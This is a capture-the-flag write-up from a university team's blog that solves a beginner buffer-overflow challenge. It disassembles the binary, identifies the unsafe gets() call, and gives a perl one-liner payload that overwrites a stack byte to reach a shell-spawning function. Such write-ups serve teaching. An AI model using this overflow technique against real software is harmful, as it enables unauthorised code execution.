CTF Team at the University of British Columbia

[UTCTF 2022] AAAAAAAAAAAAAAAA

15 Mar 2022 by Dieter

AAAAAAAAAAAAAAAA

Problem description

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA This creatively named beginner challenge provides us with two pieces of information. A binary, and a server that the program is running on. In this writeup, we are going to explore how a beginner might approach this problem, reasoning with the information given to find the flag.

Downloading the binary file, we can examine its contents to determine that its an x86 ELF executable for linux machines.

$file AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=6a09f0a7e6d7e792e905fdaaf1561dfbc61d3708, for GNU/Linux 3.2.0, not stripped

By using objdump, we can examine the contents of the binary. Objdump is a tool that come preinstalled on UNIX systems, making it an ideal choice for beginners looking to explore some binaries.

Inside the output, there’s a lot of information. Mostly, it consists of c-library functions and other information. However, there are two functions that might stand out to someone looking to solve this challenge: main, and get_flag.

0000000000401156 <main>:
  401156:	f3 0f 1e fa          	endbr64
  40115a:	55                   	push   %rbp
  40115b:	48 89 e5             	mov    %rsp,%rbp
  40115e:	48 83 ec 70          	sub    $0x70,%rsp
  401162:	c6 45 ff 00          	movb   $0x0,-0x1(%rbp)
  401166:	48 8d 45 90          	lea    -0x70(%rbp),%rax
  40116a:	48 89 c7             	mov    %rax,%rdi
  40116d:	b8 00 00 00 00       	mov    $0x0,%eax
  401172:	e8 e9 fe ff ff       	call   401060 <gets@plt>
  401177:	80 7d ff 42          	cmpb   $0x42,-0x1(%rbp)
  40117b:	75 0a                	jne    401187 <main+0x31>
  40117d:	b8 00 00 00 00       	mov    $0x0,%eax
  401182:	e8 07 00 00 00       	call   40118e <get_flag>
  401187:	b8 00 00 00 00       	mov    $0x0,%eax
  40118c:	c9                   	leave
  40118d:	c3                   	ret

000000000040118e <get_flag>:
  40118e:	f3 0f 1e fa          	endbr64
  401192:	55                   	push   %rbp
  401193:	48 89 e5             	mov    %rsp,%rbp
  401196:	48 83 ec 10          	sub    $0x10,%rsp
  40119a:	48 8d 05 63 0e 00 00 	lea    0xe63(%rip),%rax        # 402004 <_IO_stdin_used+0x4>
  4011a1:	48 89 45 f0          	mov    %rax,-0x10(%rbp)
  4011a5:	48 c7 45 f8 00 00 00 	movq   $0x0,-0x8(%rbp)
  4011ac:	00
  4011ad:	48 8b 45 f0          	mov    -0x10(%rbp),%rax
  4011b1:	48 8d 4d f0          	lea    -0x10(%rbp),%rcx
  4011b5:	ba 00 00 00 00       	mov    $0x0,%edx
  4011ba:	48 89 ce             	mov    %rcx,%rsi
  4011bd:	48 89 c7             	mov    %rax,%rdi
  4011c0:	e8 8b fe ff ff       	call   401050 <execve@plt>
  4011c5:	90                   	nop
  4011c6:	c9                   	leave
  4011c7:	c3                   	ret
  4011c8:	0f 1f 84 00 00 00 00 	nopl   0x0(%rax,%rax,1)
  4011cf:	00

With a little bit of intuition, it’s obvious that we’re going to want to try and call the function get_flag. Examining the assembly code for this function reveals a syscall, confirming these suspicions.

4011c0:	e8 8b fe ff ff       	call   401050 <execve@plt>

Thus, if we can call get_flag, the system will execute the syscall, allowing us to access the flag. With that in mind, how can we call get_flag?

Conveniently, main includes a call to this function! However, it gets jumped over in the program’s normal execution

401177:	80 7d ff 42          	cmpb   $0x42,-0x1(%rbp)
40117b:	75 0a                	jne    401187 <main+0x31>
40117d:	b8 00 00 00 00       	mov    $0x0,%eax
401182:	e8 07 00 00 00       	call   40118e <get_flag>

The above lines in main represent code that compares the value 1 off of the base of the stack frame with the value 0x42. If the at -0x1(rbp) is not equal to 0x42, we jump to <main+0x31>, skipping the call to get flag. At this point, one might devise a new goal — set -0x1(rbp), and in doing so, successfully make a call to get_flag.

  401166:	48 8d 45 90          	lea    -0x70(%rbp),%rax
  40116a:	48 89 c7             	mov    %rax,%rdi
  40116d:	b8 00 00 00 00       	mov    $0x0,%eax
  401172:	e8 e9 fe ff ff       	call   401060 <gets@plt>

Just before get flag, we see that there’s a call to gets, a commonly known vulnerable C-function. Gets, as a function, is vulnerable because it does not check if the size of its input fits within the bounds of its output buffer. Hence, a malicious user can utilize gets to overflow a memory buffer, taking control of the program.

With all of this in mind, the exploit in this challenge becomes quite clear; overflow the buffer passed to gets so that it writes 0x42 at -0x1(rbp). Doing so will mean that we fail the jne call in main, successfully calling get_flag!

Generating the attack string is also pretty easy. In ASCII, the letter ‘B’ has hexadecimal value 0x42. Using perl, we can quickly generate a string containing the character ‘B’ 0x70 times. Since the beginning of main allocates 0x70 bytes onto the stack, if we fill the entire thing with the char B, we’re guaranteed to overwrite the value of -0x1(rbp).

perl -e 'print "B" x 0x70' > exploit.txt

Finally, if we hop into gdb and run our program with exploit.txt we can see that the overflow is successful, and we are able to make our call to get_flag.

gdboutput

When running this exploit on the given server, we receive an interactive shell, where we find our flag!